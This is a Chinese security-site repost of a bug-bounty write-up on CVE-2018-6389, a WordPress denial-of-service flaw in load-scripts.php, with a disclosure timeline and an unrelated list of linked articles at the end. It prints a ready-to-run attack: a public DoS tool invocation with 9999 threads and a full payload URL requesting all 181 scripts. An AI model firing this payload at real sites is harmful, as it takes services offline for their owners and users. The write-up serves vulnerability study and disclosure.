专栏首页FreeBuf700美金的WordPress Dos漏洞CVE-2018-6389分析

700美金的WordPress Dos漏洞CVE-2018-6389分析

本文分享的Writeup是关于WordPress的DoS通杀漏洞CVE-2018-6389,该漏洞影响3.x至4.x所有版本的WordPress程序,作者针对该漏洞对目标网站进行了测试验证,从而获得了$700的漏洞赏金,以下是其分享。

CVE-2018-6389介绍

漏洞点位于load-scripts.php处,该文件是为WordPress管理员设计的,允许将多个JavaScript文件加载到一个请求中,但研究人员注意到可以在登录之前调用该函数来允许任何人调用它,即任何人都可以调用它。通过构造特殊的payload可导致服务器执行181个I/O操作,并发请求的情况下即可达到Dos的效果。

漏洞测试

在某次测试中,我看到某个站点为WordPress架构,它具有以下路径:

https://example.com/wp-admin/load-scripts.php?c=1&load[]=jquery-ui-core&ver=4.9.1

其中的load-scripts.php文件会从load[]中接收一个参数,其参数值为'jquery-ui-core',其加载请求后,在返回的响应中我收到了'jQuery UI Core'的JS响应模块。

这一看,我就想到了WordPress的DoS通杀漏洞CVE-2018-6389,虽然只是DoS,但也算曾经风靡一时的好洞。其漏洞原因在于,WordPress允许用户通过load-scripts.php文件一次性载入多个JS文件和CSS文件,之后,load-scripts.php会自动加载jquery-ui-core和editor文件并返回文件内容。但是在载入JS 文件的过程中未对文件数量和大小进行限制,攻击者可利用该功能耗尽服务器资源发起拒绝服务攻击。本文将使用VulnSpy的在线实验环境来对漏洞进行复现和测试。

以上链接似乎表明,它可能是提供给用户的JS模块,此外,load[]参数是个数组,那么意味着可能向其提供多个值,以此也就能够在响应中获得多个JS模块了。

由于WordPress采用wpscripts列表来存放全部181个脚本文件的路径,目的是让管理员或开发人员可在load[]参数中包含特定脚本的路径,根据用户提供的数值来提升性能。wpscripts列表硬编码在script-loader.php文件里。所以,我想知道如果我向服务器发出请求,要求其向我响应其存储的每一个JS模块,那这样一来单个请求,就可以让服务器执行181次输入/输出(I/O)操作了!那就来试试CVE-2018-6389吧。

我尝试了一下,果然存在!服务器端在2.2秒后响应回了约4MB大小的数据,可见多少对服务器性能造成了一定影响。

漏洞复现

1、在Linux终端输入命令 clonehttps://github.com/WazeHell/CVE-2018-6389.git

2、复制其中的测试脚本,以目标网站为https://example.com/为例,进行以下测试:

python doser.py -g 'https://example.com/wp-admin/load-scripts.php?c=1&load%5B%5D=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter&ver=4.9' -t 9999

大约发送了2000多个数据包之后,我观察到服务器端已经明显响应吃力了。

3、现在我们在浏览器中访问以下链接:

https://example.com/load-scripts.php?c=1&load%5B%5D=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter&ver=4.9' -t 9999

可见,服务器基本已经瘫痪了,最终会返回一个超时状态提醒,所以测试有效成功。

漏洞上报及处理进程

2019.8.23 漏洞初报 2019.8.24 厂商回复 2019.8.27 厂商奖励了$700,虽少但也好

*参考来源:panka,clouds 编译整理,转载请注明来自 FreeBuf.COM

本文分享自微信公众号 - FreeBuf(freebuf),作者:clouds

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-12-23

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 观点 | 没有BAT3级的应急响应中心,互联网公司该如何应对数据泄露事件?

    有一句流行的鸡汤文大家都耳熟能详——我们走的太快,灵魂都跟不上了。这两天网易邮箱的数据泄露事件,又一次将我们的关注从“爆发性创新与指数级增长”拉回来审视当前糟糕...

    FB客服
  • 万豪再次报告数据泄露,事件影响多达520万客人

    今天,万豪国际披露在2020年2月底检测到的数据泄露事件,声明这次事件影响了大约520万酒店客人。

    FB客服
  • asnlookup.py:用于搜索特定组织的ASN和拥有的IP地址工具

    ASN是由互联网号码分配机构(IANA)分配给自治系统(AS)的唯一号码。 AS由IP地址块组成,这些IP地址具有明确定义的用于访问外部网络的策略,并由单个组织...

    FB客服
  • sea.js简单配置

    require(jquery); 内部处理是先替换 alias, 再替换 paths, 1) require('jquery') 当前解析为 jquer...

    梦_之_旅
  • kcfinder4j:java版的ckfinder、kcfinder (ajax在线文件管理,ckfinder jsp/java版, jquery 在线文件管理)

    用户1258909
  • Vue SSR ---数据预取和状态

    哈喽,宝宝们,已经到八月了呢,9012将近过去三分之二,赶紧看看今年的计划是否正常进行~

    用户3258338
  • php设计模式-注册器模式

    设计模式参考地址:http://larabase.com/collection/5/post/143

    仙士可
  • Mac 终端效率神技

    • 预览查看图片分辨率&大小 • 代码语法高亮 • 快速预览zip压缩包内容 • 快速预览markdown格式内容

    Nealyang
  • Mac 终端效率神技

    • 预览查看图片分辨率&大小 • 代码语法高亮 • 快速预览zip压缩包内容 • 快速预览markdown格式内容

    lucifer210
  • Laravel Bash 别名

    overtrue

扫码关注云+社区

领取腾讯云代金券